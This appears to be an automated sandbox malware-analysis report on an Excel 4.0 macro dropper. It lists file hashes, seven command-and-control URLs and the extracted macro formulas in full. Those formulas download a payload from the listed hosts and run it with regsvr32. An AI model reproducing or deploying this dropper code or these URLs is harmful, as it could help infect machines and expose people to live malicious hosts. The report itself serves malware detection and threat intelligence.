e4796926a7d146f6ecbf4f0c9faaab7f0b221c89954edbf41a34e28a728bc387

General

Target

e4796926a7d146f6ecbf4f0c9faaab7f0b221c89954edbf41a34e28a728bc387
Size

35KB
Sample

241120-qgf96sxmat
MD5

870e15e272d83e831a250a83edb29ad8
SHA1

716c857e7074a5ee22c67bbd87550625455e352f
SHA256

e4796926a7d146f6ecbf4f0c9faaab7f0b221c89954edbf41a34e28a728bc387
SHA512

e657e6a2a111d69cf324ddc93651a732176ba77168310dbb1328e2a363dd293a3d97da8fac1e666adccef7493404c356f257ea1b7d57228906f50f5d999d551c
SSDEEP

768:O0t+5eEAjOZpqcVbZYpoRuBlIiOKMArOooooooooooooooooooooooooooaDx:O0t+gEUOZZ1ZYpoQ/pMA39

Score

10^/10

Malware Config

Extracted

Rule

Excel 4.0 XLM Macro

C2

https://www.rivabodrumresort.com/eski_site/HozRXt/

https://www.iinil.com/phpmyadmin/oWnF6m7JoN/

https://britainsolicitors.com/wp-admin/OshgKKcJ3I/

https://test.ezzclinics.com/elxaji0/BnqhzGnKzDEi01/

https://britspizzeria.com/cgi-bin/WRo/

https://trainingeighteen.co.zw/wp-content/f1Q3/

https://thiendoan.com/venmo/Mp1r/

Attributes

formulas
=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://www.rivabodrumresort.com/eski_site/HozRXt/","..\xdha.ocx",0,0) =IF('EGVSBSR'!C16<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://www.iinil.com/phpmyadmin/oWnF6m7JoN/","..\xdha.ocx",0,0)) =IF('EGVSBSR'!C18<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://britainsolicitors.com/wp-admin/OshgKKcJ3I/","..\xdha.ocx",0,0)) =IF('EGVSBSR'!C20<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://test.ezzclinics.com/elxaji0/BnqhzGnKzDEi01/","..\xdha.ocx",0,0)) =IF('EGVSBSR'!C22<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://britspizzeria.com/cgi-bin/WRo/","..\xdha.ocx",0,0)) =IF('EGVSBSR'!C24<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://trainingeighteen.co.zw/wp-content/f1Q3/","..\xdha.ocx",0,0)) =IF('EGVSBSR'!C26<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://thiendoan.com/venmo/Mp1r/","..\xdha.ocx",0,0)) =IF('EGVSBSR'!C28<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\xdha.ocx") =RETURN()

Extracted

Language

xlm4.0

Source

URLs

xlm40.dropper

https://www.rivabodrumresort.com/eski_site/HozRXt/

xlm40.dropper

https://www.iinil.com/phpmyadmin/oWnF6m7JoN/

xlm40.dropper

https://britainsolicitors.com/wp-admin/OshgKKcJ3I/

xlm40.dropper

https://test.ezzclinics.com/elxaji0/BnqhzGnKzDEi01/

xlm40.dropper

https://britspizzeria.com/cgi-bin/WRo/

xlm40.dropper

https://trainingeighteen.co.zw/wp-content/f1Q3/

xlm40.dropper

https://thiendoan.com/venmo/Mp1r/

Extracted

Language

xlm4.0

Source

URLs

xlm40.dropper

https://www.rivabodrumresort.com/eski_site/HozRXt/

xlm40.dropper

https://www.iinil.com/phpmyadmin/oWnF6m7JoN/

xlm40.dropper

https://britainsolicitors.com/wp-admin/OshgKKcJ3I/

Targets

- Target
  
  e4796926a7d146f6ecbf4f0c9faaab7f0b221c89954edbf41a34e28a728bc387
- Size
  
  35KB
- MD5
  
  870e15e272d83e831a250a83edb29ad8
- SHA1
  
  716c857e7074a5ee22c67bbd87550625455e352f
- SHA256
  
  e4796926a7d146f6ecbf4f0c9faaab7f0b221c89954edbf41a34e28a728bc387
- SHA512
  
  e657e6a2a111d69cf324ddc93651a732176ba77168310dbb1328e2a363dd293a3d97da8fac1e666adccef7493404c356f257ea1b7d57228906f50f5d999d551c
- SSDEEP
  
  768:O0t+5eEAjOZpqcVbZYpoRuBlIiOKMArOooooooooooooooooooooooooooaDx:O0t+gEUOZZ1ZYpoQ/pMA39
Score

10^/10

discovery
- Process spawned unexpected child process
  This typically indicates the parent process was compromised via an exploit or macro.
behavioral1 behavioral2